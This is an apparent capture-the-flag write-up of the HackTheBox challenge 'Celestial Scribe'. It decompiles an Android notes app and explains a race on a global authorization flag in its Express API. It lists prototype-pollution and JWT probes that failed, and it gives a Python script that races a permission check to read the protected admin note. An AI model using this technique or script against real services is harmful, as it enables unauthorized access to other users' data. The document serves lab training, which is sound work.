webfreemedium

Celestial Scribe

HackTheBox

Task: Android APK (Secure Cloud Notes) frontend over an Express/Node.js REST API; flag lives in a protected admin note. Solution: TOCTOU on a process-global authorization flag — a legitimate check-permission on an owned note poisons the shared `allowed` state, then an immediate GET of the admin note (numeric id 1) bypasses access control.

$ ls tags/ techniques/
apk_decompilationtoctou_global_state_poisoningauthorization_race_conditionnumeric_id_enumeration

Celestial Scribe — HackTheBox

Description

Secure Cloud Notes — an Android app for storing your private notes in the cloud. Configure your server base URL and keep your secrets safe. (package htb.d3vnu11.securenotes)

English summary: The challenge ships an Android APK that acts as a thin client over a remote Express/Node.js REST API. The user points the app at http://IP:PORT/api. The flag is stored inside a hidden admin note that a normal user is not authorized to read. The goal is to read that protected note.

Recon

APK decompilation

Decompiled the APK with jadx and apktool. Package: htb.d3vnu11.securenotes. From the decompiled sources we recover the full API surface:

MethodEndpointBehavior
POST/api/auth/register {email, password}returns HS256 JWT
POST/api/auth/login {email, password}returns HS256 JWT
GET/api/auth/verifyreturns userId
GET/api/noteslist of own notes {id, title, createdAt}
GET/api/notes/:id/check-permission200 {success:true} if caller owns note, else 403 Access denied
GET/api/notes/:idnote content if permitted
POST/api/notes {id, title, content}create note
DELETE/api/notes/:iddelete note

The critical client flow

The decompiled note-open routine (class D0 / h.java) performs the read in two separate server round-trips with a delay in between:

GET /notes/:id/check-permission     // authorization check
Thread.sleep(100)                   // <-- 100 ms gap
GET /notes/:id                      // actual read

This split between the time-of-check (check-permission) and the time-of-use (GET note) is the structural hint that the authorization decision is not bound to the read request.

JWT

The bundled sample token (jwt.txt) decodes to HS256 with payload {id, email: [email protected], iat, exp}.

Hypotheses Tried and Discarded

These were all dead ends — documented so other players skip them:

  • JWT attacks. The HS256 signing secret was not crackable (absent from rockyou, top-200, and themed wordlists). alg:none was rejected; tampered signatures were rejected. JWT forgery is impossible here.
  • Credential hunting / password spraying. Spraying default passwords (e.g. Tmp123456!) against guessed accounts like [email protected], admin@… is a pure red herring. Importantly, the literal note id flag does not exist.
  • Prototype pollution via query string. ?a[__proto__][flag]=1, __proto__[flag][id]=flag — no observable effect.
  • Object / type-confusion writes. POST /notes with object-typed title/content only produced 500 Server error.
  • Email normalization / duplicate-key JSON / Unicode email collisions. No account takeover.
  • Naive race against your own check-permission to flip a flag GET. Produced only 403/404 noise — because the id flag genuinely does not exist (404 once the gate opened).

The Vulnerability — TOCTOU on Global Authorization State

The Express backend stores the result of check-permission in a process-global variable (e.g. a module-level allowed flag) rather than scoping it to the individual request/user. Because authorization and the read are two separate HTTP requests, the global state can be poisoned:

  1. A legitimate GET /notes/<ownId>/check-permission sets the shared allowed = true.
  2. Any subsequent GET /notes/<anyId> that arrives before the flag is reset / re-evaluated reads the poisoned global, passes the gate, and returns the note regardless of ownership.

This is a classic time-of-check-to-time-of-use (TOCTOU) broken-access-control bug combined with shared mutable server state. No JWT forgery, no credential theft — just exploiting the gap the client itself exposes with its Thread.sleep(100).

Exploitation

  1. Register any account; capture the JWT.
  2. GET /api/notes to learn your own note id.
  3. GET /api/notes/<ownId>/check-permission → legitimately returns 200 and poisons the global allowed=true.
  4. Immediately GET /api/notes/<targetId> → reads the poisoned global, bypasses the gate, returns the admin note.

Because there is a real race window, each attempt succeeds roughly ~50% of the time; a short loop (8–20 iterations) succeeds deterministically.

#!/usr/bin/env python3 import requests, time base = 'http://TARGET:PORT/api' s = requests.Session() # 1) register & grab JWT tok = s.post(base + '/auth/register', json={'email': f'a{int(time.time())}@test.com', 'password': 'P@ssw0rd123!'}).json()['token'] h = {'Authorization': f'Bearer {tok}'} # 2) own note id own = s.get(base + '/notes', headers=h).json()['notes'][0]['id'] # 3+4) poison global allowed=true, then read protected admin note (numeric id "1") for _ in range(20): s.get(base + f'/notes/{own}/check-permission', headers=h) # poison r = s.get(base + '/notes/1', headers=h) # bypass read if r.status_code == 200: print(r.json()['note']['content']) break

Key Insight — Numeric Note IDs, Not flag

The decisive realization: notes are stored under numeric indices (1, 2, …), not the string flag. The fake flag id sends countless solvers down a rabbit hole. After leaking the permission grant, iterating ids reveals:

  • GET /api/notes/1 → admin-note-1, title "Secure System Configuration", content = the flag.
  • GET /api/notes/2 → admin-note-2, a decoy "Server Maintenance Schedule".

Behavioral evidence confirming the bug:

  • No priming: GET /notes/flag → always 403.
  • Own-note check-permission then GET → 404/403 mix (gate opened, but flag id missing → 404), proving the global-permission leak is real and flag is fake.
  • Own-note check-permission then GET /notes/1 → 200 with the flag.

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups